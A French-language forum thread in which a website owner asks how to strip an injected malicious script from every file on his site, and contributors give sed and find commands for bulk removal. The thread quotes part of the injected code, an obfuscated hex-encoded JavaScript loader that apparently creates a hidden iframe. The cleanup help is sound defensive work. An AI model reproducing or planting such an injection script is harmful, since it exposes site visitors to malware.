Cherche une commande

Bonjour,

Je cherche une commande pour supprimer une phrase de tous les fichiers qui existe dans mon site ..

En fait un code malveillant a été injecté (c le même code) dans plusieurs fichiers de mon site , je souhaite les supprimer à la fois , mais je trouve pas la commande sur Internet

Merci d'avance

7 réponses

  1. Contributeur
    Salut,

    Normalement "sed" devrait pouvoir t'aider à faire ça.

    Par contre un exemple concret serait le bienvenu afin de ne pas faire de bêtises ;-)
    0
    1. Merci mais je souhaite avoir la commande exacte svp......
      0
      1. Contributeur
        Sans exemple ça va être difficile ;-(

        Mais en attendant tu peux toujours jeter un oeil à la FAQ sur sed...
        0
    2. J'ai déjà vu ça :/ tous ces faq montre comment supprimer une phrase depuis un fichier spécifique mais moi je cherche à faire la suppression depuis tous les fichiers qui existe sur le serveur.

      Voici le code que je cherche à supprimer
      --------------
      <script type="text/javascript" language="javascript" >

      ypzsp="s"+"p"+"li"+"t";kcy=window;wrqrd="dy";uwmz=document;k
      epbv="0x";tfpdlx=(5-3-1);try{++(uwmz.body)}catch(utimwd){ehy
      y=false;try{}catch(asua){ehyy=21;}if(1){twp="17:5d:6c:65:5a:
      6b:60:66:65:17:66:6e:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a
      :6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5
      a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:6
      7:1e:32:4:1:17:6d:58:69:17:66:6e:17:34:17:5b:66:5a:6c:64:5c:
      65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:
      69:58:64:5c:1e:20:32:4:1:4:1:17:66:6e:25:6a:69:5a:17:34:17:1
      e:5f:6b:6b:67:31:26:26:6e:6e:6e:25:6b:5c:6a:6b:24:5e:5c:60:5
      c:25:5c:6c:26:5d:48:3a:69:68:51:50:70:25:67:5f:67:1e:32:4:1:
      17:66:6e:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:
      ------------
      0
      1. Contributeur
        Cette partie est toujours encadrée par des
        --------------
        ?
        Là ton texte est sur plusieurs lignes, c'est bien le cas aussi dans tes fichiers ?

        Pourrais-tu mettre un vrai fichier sur cjoint afin qu'on puisse bien évaluer le format et concocter une commande en rapport ?
        0
    3. Je vous ai mis le code malveillant dans le fichier code.txt
      http://www.cjoint.com/confirm.php?cjoint=CIlkUcRUHI7

      Si vous avez un Antivirus il va le bloquer :/

      (C'est moi qui a mis les ------ le code ne les contient pas )

      Grand Merci
      0
      1. Contributeur
        Pas d'antivirus sous GNU/Linux ;-)

        Normalement avec cette simple commande :
        sed -i '/^<!--32f02e-->/d' fichier
        Ça devrait le faire. Donc à essayer sur un fichier de test (une copie d'un vrai fichier entier).

        Si ça marche on avisera pour appliquer la commande à un ensemble de fichiers récursivement.

        On peut rajouter à l'option "-i" le paramètre ".bak" afin de créer une sauvegarde du fichier original :

        sed -i.bak '/^<!--32f02e-->/d' fichier
        0
    4. Vous êtes parfait Zipe 31 , Grand Merci :)))))))))
      Comment appliquer ça pour tous les fichiers svp? :)
      0
      1. Contributeur
        Quelle est l'extension des fichiers à traiter ? Toutes ou juste certaines extensions ?
        0
    5. la plupart est en .htm et .html ....
      0
      1. Contributeur
        Deux solutions :

        cd /chemin/racine
        find . -type f \( -name '*.htm' -o -name '*.html' \) -exec sed -i '/^<!--32f02e-->/d' {} \;

        ou

        cd /chemin/racine
        shopt -s globstar
        sed -i '/^<!--32f02e-->/d' ./**/*.{htm,html}

        Je ne peux garantir le résultat à 100% ni même d'éventuels effets indésirables (suppression de code bon ou autre) ;-\
        0
    6. Elle na pas fonctionné :(

      Merci quand même
      0
      1. Contributeur
        Laquelle ?

        As-tu fais plusieurs essais de la 1ère commande que je t'ai donnée ici sur plusieurs fichiers différents ?

        Pour la commande "find", tu peux essayer ceci :
        cd /chemin/racine
        find . -type f \( -name '*.htm' -o -name '*.html' \) -exec echo "sed -i '/^<\!--32f02e-->/d' {}" \;
        Et voir déjà si ça renvoie quelque chose sur la sortie standard (l'écran).
        0